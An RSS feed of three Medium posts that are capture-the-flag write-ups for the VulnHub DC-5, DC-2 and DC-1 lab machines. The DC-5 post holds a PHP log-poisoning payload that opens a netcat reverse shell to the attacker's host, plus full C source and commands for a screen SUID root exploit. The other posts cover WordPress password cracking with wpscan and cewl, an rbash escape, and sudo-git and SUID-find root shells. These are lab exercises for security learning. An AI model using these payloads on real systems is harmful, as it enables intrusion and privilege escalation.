<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vishal Biswas on Medium]]></title>
        <description><![CDATA[Stories by Vishal Biswas on Medium]]></description>
        <link>https://medium.com/@vishalbiswasofficial?source=rss-cffdc9a32d84------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Jn3UbAi2Uh1-wMEp.jpg</url>
            <title>Stories by Vishal Biswas on Medium</title>
            <link>https://medium.com/@vishalbiswasofficial?source=rss-cffdc9a32d84------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 11:00:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vishalbiswasofficial/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DC~5]]></title>
            <link>https://medium.com/@vishalbiswasofficial/dc-5-3002225fd779?source=rss-cffdc9a32d84------2</link>
            <guid isPermaLink="false">https://medium.com/p/3002225fd779</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[dc5]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Vishal Biswas]]></dc:creator>
            <pubDate>Tue, 28 May 2019 13:31:00 GMT</pubDate>
            <atom:updated>2019-06-17T05:34:43.591Z</atom:updated>
            <content:encoded><![CDATA[<p>Nmap Result</p><pre>PORT STATE SERVICE VERSION<br>80/tcp open http nginx 1.6.2<br>|_http-server-header: nginx/1.6.2<br>|_http-title: Welcome<br>111/tcp open rpcbind 2–4 (RPC #100000)<br>| rpcinfo: <br>| program version port/proto service<br>| 100000 2,3,4 111/tcp rpcbind<br>| 100000 2,3,4 111/udp rpcbind<br>| 100024 1 46936/udp status<br>|_ 100024 1 51966/tcp status<br>51966/tcp open status 1 (RPC #100024)</pre><p>Checking port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qakshb1zMg5kKDTYN5NRLw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0JgetQPDGZL3CfvtPLvMtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lsrzu5Ru2pfUrqIbFFXXhA.png" /></figure><p>Found Lfi<br> <a href="http://victim.ck/thankyou.php?file=/etc/passwd">http://victim.ck/thankyou.php?file=/etc/passwd</a><br> <a href="http://victim.ck/thankyou.php?file=/var/log/nginx/error.log">http://victim.ck/thankyou.php?file=/var/log/nginx/error.log</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JDDJEDXzMLrjPl1GUqCIOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZKL_cmbsUrZ0ixIdurzuSw.png" /></figure><p>We can convert lfi into rce <br>=&gt;<br>GET /thankyou.php?&lt;?php phpinfo(); ?&gt; HTTP/1.1</p><p><a href="http://victim.ck/thankyou.php?file=/var/log/nginx/error.log">http://victim.ck/thankyou.php?file=/var/log/nginx/error.log</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ou7swwMPHlq54tfs6uFGXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8PwW8__gO-Tm-yECYnulgA.png" /></figure><p>To get Reverse shell we have to intercept All request with BurpSuite</p><p>and change it to GET /thankyou.php?&lt;?php exec(‘/bin/nc 192.168.0.1 1457 -e /bin/sh’); ?&gt; HTTP/1.1</p><p>and after that, we have to call <a href="http://victim.ck/thankyou.php?file=/var/log/nginx/error.log">http://victim.ck/thankyou.php?file=/var/log/nginx/error.log</a> to execute our reverse shell but first, we have to start nc listener on our machine</p><p># we have suid bit set in screen 4.5<br>********************prev Esc with 41154.sh**********************<br>Let devide the script into individual codes for easy going<br> — — — — — — — — — — — — — — — — — — — — — — — -<br>=&gt; libhax.c</p><p>#include &lt;stdio.h&gt;<br>#include &lt;sys/types.h&gt;<br>#include &lt;unistd.h&gt;<br>__attribute__ ((__constructor__))<br>void dropshell(void){<br> chown(“/tmp/rootshell”, 0, 0);<br> chmod(“/tmp/rootshell”, 04755);<br> unlink(“/etc/ld.so.preload”);<br> printf(“[+] done!\n”);<br>}<br> — — — — — — — — — — — — — — — — — — — — — — — <br>=&gt; rootshell.c</p><p>#include &lt;stdio.h&gt;<br>int main(void){<br> setuid(0);<br> setgid(0);<br> seteuid(0);<br> setegid(0);<br> execvp(“/bin/sh”, NULL, NULL);<br>}<br> — — — — — — — — — — — — — — — — — — — — — — — — — — <br>Every time I try to compile *.C file inside victim pc I got this error ;-<br> gcc: error trying to exec ‘cc1’: execvp: No such file or directory</p><p>so the only option is to compile C codes inside my pc and transfer it to the victim</p><p>kali# gcc -fPIC -shared -ldl -o libhax.so libhax.c<br>kali# gcc -o rootshell rootshell.c</p><p>Now transfer it to the victim machine</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Inside Victim pc (we have 2 files libhax.so &amp; rootshell)</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Now we can execute this following code to escalate to root shell</p><pre>cd /etc<br> umask 000<br> screen -D -m -L ld.so.preload echo -ne “\x0a/tmp/libhax.so”<br> screen -ls<br> /tmp/rootshell</pre><p>root@dc-5:/# id ; whoami ; cat /root/thisistheflag.txt<br>uid=0(root) gid=0(root) groups=0(root),33(www-data)<br>root</p><p>888b 888 d8b 888 888 888 888 <br>8888b 888 Y8P 888 888 888 888 <br>88888b 888 888 888 888 888 <br>888Y88b 888 888 .d8888b .d88b. 888 888 888 .d88b. 888d888 888 888 888 888 888 <br>888 Y88b888 888 d88P” d8P Y8b 888 888 888 d88&quot;”88b 888P” 888 .88P 888 888 888 <br>888 Y88888 888 888 88888888 888 888 888 888 888 888 888888K Y8P Y8P Y8P <br>888 Y8888 888 Y88b. Y8b. Y88b 888 d88P Y88..88P 888 888 “88b “ “ “ <br>888 Y888 888 “Y8888P “Y8888 “Y8888888P” “Y88P” 888 888 888 888 888 888</p><p>Once again, a big thanks to all those who do these little challenges,<br>and especially all those who give me feedback — again, it’s all greatly<br>appreciated. :-)</p><p>I also want to send a big thanks to all those who find the vulnerabilities<br>and create exploits that make these challenges possible.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3002225fd779" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DC~2]]></title>
            <link>https://medium.com/@vishalbiswasofficial/dc-2-3786b805d894?source=rss-cffdc9a32d84------2</link>
            <guid isPermaLink="false">https://medium.com/p/3786b805d894</guid>
            <category><![CDATA[dc-2]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Vishal Biswas]]></dc:creator>
            <pubDate>Tue, 28 May 2019 09:10:52 GMT</pubDate>
            <atom:updated>2019-05-28T09:15:20.618Z</atom:updated>
            <content:encoded><![CDATA[<p>DC~ 2</p><p><strong>Nmap result</strong></p><pre>PORT STATE SERVICE VERSION<br>80/tcp open http Apache httpd 2.4.10 ((Debian))<br>|_http-server-header: Apache/2.4.10 (Debian)<br>|_http-title: Did not follow redirect to <a href="http://dc-2/">http://dc-2/</a></pre><pre>7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)<br>| ssh-hostkey: <br>| 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)<br>| 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)<br>| 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)<br>|_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)</pre><pre>MAC Address: 08:00:27:61:42:C5 (Oracle VirtualBox virtual NIC)<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Device type: general purpose<br>Running: Linux 3.X|4.X<br>OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4<br>OS details: Linux 3.2–4.9<br>Network Distance: 1 hop<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p><strong>Inside Port 80</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HNvA40EgQEdRmrWWAnrjzg.png" /></figure><p>CMS Detected: WordPress</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*W4ne6mCu56QS-DGkCl1UBA.png" /></figure><pre><strong>Flag 1</strong>:<br>Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.<br>More passwords are always better, but sometimes you just can’t win them all.<br>Log in as one to see the next flag.<br>If you can’t find it, login as another.</pre><p>The<strong> Flag 1</strong> says to crack passwords but first, we have to find user names for WordPress login</p><p>By using <strong>wpscan</strong> tool I got 3 valid user names<br><em>admin, jerry, tom</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nCoJxpckImNfoyx9fn739w.png" /><figcaption>Wpscan result</figcaption></figure><p><strong>Domain name enumerated:</strong> dc-2</p><p>Flag 1 says to use cewl command <br> cewl <a href="http://dc-2/">http://dc-2/</a> &gt; Cklist</p><p>This command makes a Wordlist from website</p><p># wpscan — url <a href="http://dc-2/">http://dc-2/</a> -U admin,jerry,tom -P Cklist</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*CG9XdOu2vmrTHFX72FmxfQ.png" /></figure><pre>Username: jerry, Password: adipiscing<br>Username: Tom, Password: parturient</pre><p>let’s try those password in WordPress</p><p>Got access in WordPress for both users tom &amp; jerry</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-h14oIOY5hQDIy6-Y1S8KQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gu--dtfTM-DPWj_xMCXIwA.png" /></figure><p><strong>Jerry’s Dashboard shows 7 pages</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kP-M8-LX5HiLQharJECP4g.png" /></figure><pre>Flag 2:<br>If you can’t exploit WordPress and take a shortcut, <strong>there is another way.</strong><br>Hope you found another entry point.</pre><p>“<strong>there is another way.</strong>” Let try to acess through SSH (Port 7744)</p><pre>ssh tom@dc-2 -p 7744 # password parturient</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*FIv2Fr1KneqQGP1g57MLYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/226/1*0TaQ07Jop-rwrtlhqztuZQ.png" /></figure><pre><strong>tom@DC-2:~$</strong> cat flag3.txt<br>-rbash: cat: command not found</pre><p>Stuck with <strong>Rbash</strong> shell</p><p>To Escape <strong>Rbash</strong> using vi editor Follow these steps</p><pre>first, we have to set the shell to execute commands<br>:set shell=/bin/sh<br>and revoke shell<br>:shell</pre><p>And we get sh shell but paths are not set</p><p><strong>Type /bin/bash to get a bash shell</strong></p><p>This gives us a better shell</p><p><strong>export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</strong></p><p>the export command set the PATH so we don’t have type full paths for all commands</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MpeeQirA_ibkIBDapqfyEQ.png" /></figure><p>su jerry with password adipiscing give us jerry’s account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*SWEhzug0sLDsmpbUL_JXlw.png" /></figure><pre>Flag 4 :<br>Good to see that you’ve made it this far — but you’re not home yet.</pre><pre>You still need to get the final flag (the only flag that really counts!!!).</pre><pre>No hints here — you’re on your own now. :-)</pre><pre>Go on — <strong>git</strong> outta here!!!!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gfdJbGY78jHxlQ8JvIcAtw.png" /></figure><p>=&gt; <strong>Flag 4</strong> gives a nice decent hint to use <strong>git</strong></p><pre>sudo git -p help<br>!/bin/sh</pre><p>This invokes the default pager, which is likely to be less, other functions may apply.</p><p><strong>Note:</strong> But making terminal tab smaller do the trick for me</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uq7-6TdaltPtPKtg0J4XDA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qgvniNBnHdba3974O_Z2gg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SIJUqu2nkPI7yCq11qHxYA.png" /></figure><p>And Rooted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*GFwRMTKwlaXDwIa-QHs3Wg.png" /></figure><pre><strong>final-flag.txt</strong></pre><pre>__ __ _ _ _ _ <br>/ / /\ \ \___| | | __| | ___ _ __ ___ / \<br>\ \/ \/ / _ \ | | / _` |/ _ \| ‘_ \ / _ \/ /<br> \ /\ / __/ | | | (_| | (_) | | | | __/\_/ <br> \/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/</pre><pre>Congratulatons!!!</pre><pre>A special thanks to all those who sent me tweets<br>and provided me with feedback — it’s all greatly<br>appreciated.</pre><pre>If you enjoyed this CTF, send me a tweet via <a href="http://twitter.com/DCAU7">@DCAU7</a>.</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3786b805d894" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DC~1]]></title>
            <link>https://medium.com/@vishalbiswasofficial/dc-1-39ede3c85188?source=rss-cffdc9a32d84------2</link>
            <guid isPermaLink="false">https://medium.com/p/39ede3c85188</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[dc-1]]></category>
            <dc:creator><![CDATA[Vishal Biswas]]></dc:creator>
            <pubDate>Mon, 27 May 2019 13:31:00 GMT</pubDate>
            <atom:updated>2019-05-27T13:31:00.875Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Nmap Result</strong></p><pre>PORT STATE SERVICE VERSION<br>22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)<br>| ssh-hostkey: <br>| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)<br>| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)<br>|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)</pre><pre>80/tcp open http Apache httpd 2.2.22 ((Debian))<br>|_http-generator: Drupal 7 (<a href="http://drupal.org/">http://drupal.org</a>)<br>| http-robots.txt: 36 disallowed entries (15 shown)<br>| /includes/ /misc/ /modules/ /profiles/ /scripts/ <br>| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt <br>| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt <br>|_/LICENSE.txt /MAINTAINERS.txt<br>|_http-server-header: Apache/2.2.22 (Debian)<br>|_http-title: Welcome to Drupal Site | Drupal Site</pre><pre>111/tcp open rpcbind 2–4 (RPC #100000)<br>| rpcinfo: <br>| program version port/proto service<br>| 100000 2,3,4 111/tcp rpcbind<br>| 100000 2,3,4 111/udp rpcbind<br>| 100024 1 52649/udp status<br>|_ 100024 1 56128/tcp status</pre><pre>56128/tcp open status 1 (RPC #100024)</pre><pre>MAC Address: 08:00:27:46:6D:2C (Oracle VirtualBox virtual NIC)<br>Device type: general purpose<br>Running: Linux 3.X<br>OS CPE: cpe:/o:linux:linux_kernel:3<br>OS details: Linux 3.2–3.16<br>Network Distance: 1 hop<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p><strong>Web CMS Detected</strong>: Drupal 7</p><p>Method 1 =&gt;As the website running with Drupal 7 so it is vulnerable to <em>Drupal 7.0 &lt; 7.31 — Drupalgeddon’ SQL Injection (Add Admin User) </em>‘34992.py’ exploit which creates an admin user inside Drupal 7.</p><p>Method 2 =&gt;metasploit -&gt; multi/HTTP/drupal_drupageddon</p><p># This exploit gives us a low privileged shell into the victim machine</p><p><strong>After ADMIN ACCOUNT</strong></p><p>Go to Modules =&gt; enable PHP filter -&gt; Permission -&gt; Enavle Use the PHP code text format</p><p>Got to content =&gt; Add content =&gt; Basic page =&gt; Set Text Format PHP code =&gt; ADD PHP code inside Body</p><p>execute the PHP code by visiting that page but first start listener in attacker machine</p><p><strong>Inside victim machine</strong></p><p>=&gt; SUID is set for find command<br>=&gt; find . -exec /bin/sh \; -quit # It gives us Root shell</p><p>root Flag</p><p>Well done!!!!</p><p>Hopefully, you’ve enjoyed this and learned some new skills.</p><p>You can let me know what you thought of this little journey<br>by contacting me via Twitter — <a href="http://twitter.com/DCAU7">@DCAU7</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39ede3c85188" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>